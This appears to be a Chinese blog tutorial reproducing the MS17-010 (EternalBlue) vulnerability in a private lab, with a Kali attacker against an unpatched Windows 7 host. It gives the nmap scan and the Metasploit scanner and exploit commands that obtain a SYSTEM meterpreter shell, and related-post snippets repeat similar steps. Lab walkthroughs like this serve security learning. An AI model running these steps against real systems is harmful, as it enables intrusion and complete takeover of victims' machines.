永恒之蓝漏洞复现

已于 2024-06-23 22:39:38 修改
阅读量522 收藏 3
点赞数 7
分类专栏： 漏洞复现 网络安全 kali 文章标签： 经验分享 linux 网络安全
于 2024-06-22 11:24:39 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45240382/article/details/139879442
版权

永恒之蓝漏洞复现

漏洞背景：
永恒之蓝（ms17-010）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
存在漏洞的主机只需要开放445端口即可被攻击，获取系统最高权限。

环境准备：

  • 攻击端 Linux kali：192.168.214.128
  • 被攻击端 win 7 x64：192.168.214.129（关闭防火墙）

一、扫描端口

使用 nmap 扫描目标端口；

nmap 192.168.214.129

查看结果：445端口为开放状态，操作系统为 win 7；
image.png

二、扫描漏洞

调用 msf 工具选择永恒之蓝扫描模块，进行漏洞扫描

  1. 调用 msf 工具；
msfconsole

image.png

  1. 选择漏洞扫描模块；
# 搜索永恒之蓝相关模块（ms17_010）
search ms17_010
# 选择扫描模块
use 3

image.png

  1. 查看运行永恒之蓝攻击的必需参数；
show options

image.png

  1. RHOSTS为目标主机，必需项；
set rhosts 192.168.214.129

image.png

  1. 运行扫描
run

image.png

显示目标主机很可能会受到永恒之蓝漏洞的攻击。

三、漏洞攻击

  1. 选择漏洞攻击模块；
# 搜索永恒之蓝相关模块（ms17_010）
search ms17_010
# 选择攻击模块
use 0

image.png

  1. 查看参数；
show options

image.png

  1. 设置RHOSTS；
set rhosts 192.168.214.129

image.png

  1. 运行攻击；
run

image.png

攻击成功后返回一个 meterpreter 会话，通过该会话可以控制目标主机system权限。

  1. 输入 shell 即可进入win7的cmd；
# 进入命令行
shell
# 切换字符集编码，解决乱码问题
chcp 65001

image.png

  1. 查看主机信息；

image.png

四、放入后台

  1. 将会话放入后台，方便后续调用；
# 退出cmd
exit
# 将当前会话放入 msf 后台
background

image.png

  1. 查看会话并调用
# 查看所有已连接的会话
sessions
# 调用指定会话
sessions -i 1

image.png

zneVue.
关注
  • 7
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
m0_65712192的博客
11-01 3万+
Kali--MSF-永恒之蓝详解（复现、演示、远程、后门、加壳、修复）
MS17-010(永恒之蓝)漏洞复现和分析
daoshiwa的博客
09-21 3451
永恒之蓝
永恒之蓝漏洞解析
xhx836161547的博客
02-08 2314
永恒之蓝实验报告
永恒之蓝漏洞
m0_73481504的博客
03-26 720
利用漏洞ms17-010漏洞 攻击对方主机进行文件数据的修改需要2台主机 server2008 ,kali第一步，打开两台主机 先要知道被攻击者的ip地址第二步， 打开kali对其ip地址进行扫描扫描ip地址的全部端口 nmap -sV -p- +ip地址nmap -sV -O +ip地址 查看对方系统的版本信息-O识别系统版本-sV 识别具体服务版本扫描到永恒之蓝第三步 ，找到漏洞 利用漏洞启动msf使用ms17_010攻击成功 ps 查看对方开启的进程查看对方主机界面。
EternalBlue【永恒之蓝】漏洞详解（复现、演示、远程、后门、入侵、防御）内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏！
m0_73734159的博客
12-26 6079
2017年永恒之蓝漏洞，编号为ms17漏洞。现在只有一些低版本的电脑没有打ms17_010的补丁，windows7 以上版本几乎都没有这个漏洞了。虽然如此，此漏洞非常经典，现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。让大家可以对网络安全更加重视，网络安全刻不容缓，让我们为国家网络安全的建设共同努力！
永恒之蓝漏洞扫描工具官方版
08-06
"永恒之蓝漏洞"，全称为MS17-010漏洞，是Windows操作系统中一个极为严重的安全漏洞，由黑客组织Shadow Brokers泄露的NSA（美国国家安全局）网络武器库中的攻击工具所利用。该漏洞主要针对的是未打补丁的Windows系统...
永恒之蓝复现kaliwin7
最新发布
07-19
### 恒之蓝漏洞复现：Kali Linux 攻击 Windows 7 #### 实验背景及目的 “永恒之蓝”（EternalBlue）是一种针对 Windows 操作系统的严重漏洞，该漏洞允许攻击者在无需用户交互的情况下实现远程代码执行。本次实验...
永恒之蓝漏洞演示
12-22
利用kali linux在windows7上演示永恒之蓝漏洞，有kali实战经验的可以看懂
永恒之蓝检测工具MS17-010漏洞扫描工具
06-28
永恒之蓝检测工具MS17-010漏洞扫描工具
局域网内批量扫描永恒之蓝（勒索病毒）漏洞脚本
05-17
依据腾讯发布的勒索病毒漏洞扫描工具，编写了一个简单的批量扫描脚本，可以扫描C类网所有电脑是否存在漏洞需要修复，可根据实际需要修改IP地址范围。扫描结果以txt文件保存。 运行scannsa.bat，依次输入： 1.C类IP地址段，例如：192.168.1 2.起始IP，例如：2（默认为1） 3.结束IP，例如：254（默认为255）
永恒之蓝漏洞利用攻击以及修复方法
Gjqhs的博客
12-12 6976
MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法 前言 0x01 准备工作 0x02 漏洞利用 0x03 修复方案 总结 前言 提到操作系统漏洞，大家肯定听说过耳熟能详的永恒之蓝（MS17-010）了，他的爆发源于WannaCry勒索病毒的诞生。 该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播 。勒索病毒肆虐，俨然是一场全球性互联网灾难，给广大电脑用户造成了.
利用NSA方程式工具—“永恒之蓝”攻陷一台计算（MS17-010）
热门推荐
weixin_38948797的博客
01-27 1万+
利用方程式工具—“永恒之蓝”攻陷一台计算（MS17-010）  （注：本文章仅供技术交流和学习，请勿用于非法用途）     相信17年最大的安全事件比特币勒索病毒Wanncary没几个人不知道吧。那么究竟比特币勒索病毒究竟是怎么一回事呢？所谓比特币勒索病毒即：永恒之蓝漏洞利用程序+Wannacry勒索软件程序,也正是这两个武器造就了迄今为止最巨大的网络攻击勒索事件，影响到近百个国家上千家企业及
MS17-010 ——永恒之蓝漏洞利用
迷风小白
06-20 6764
“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器，利用Windows系统的SMB漏洞可以获取系最高权限。 影响范围：Windows Vista、Win7、Win8、Win XP、Windows server 2003等。 防范措施：及时更新Windows系统补丁，不要打开陌生的文件。 环境： 攻击机：kali IP：192.168.137.44 靶机：win7 IP...
永恒之蓝-ms17
weixin_48776804的博客
02-15 316
永恒之蓝
永恒之蓝漏洞复现流程
09-01
永恒之蓝漏洞的复现流程大致如下： 1. 首先，你需要准备两台机器，一台是攻击机（Linux kali），另一台是靶机（Windows 2008R2）。 2. 打开Metasploit框架，可以使用命令`msfconsole`。 3. 在Metasploit框架中，使用`search ms17_010`命令搜索永恒之蓝漏洞的相关代码。你会找到两个工具，其中`auxiliary/scanner/smb/smb_ms17_010`是用于扫描漏洞的模块，`exploit/windows/smb/ms17_010_eternalblue`是用于攻击的代码。一般情况下，你需要先使用扫描模块，如果显示存在漏洞，再使用攻击代码进行攻击。 4. 配置攻击目标IP，使用命令`use exploit/windows/smb/ms17_010_eternalblue`选择攻击模块。 5. 接下来，你需要使用该模块对靶机服务器进行攻击。使用命令`set RHOSTS <靶机IP>`来配置目标IP。 6. 最后，执行攻击命令，例如使用`exploit`命令开始攻击。 需要注意的是，复现永恒之蓝漏洞属于安全研究领域，只应在合法的环境下进行，并遵守相关法律法规。在实际环境中，应该始终保持系统和软件的更新，以免存在已知漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [永恒之蓝漏洞复现](https://blog.csdn.net/weixin_39096432/article/details/115422428)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值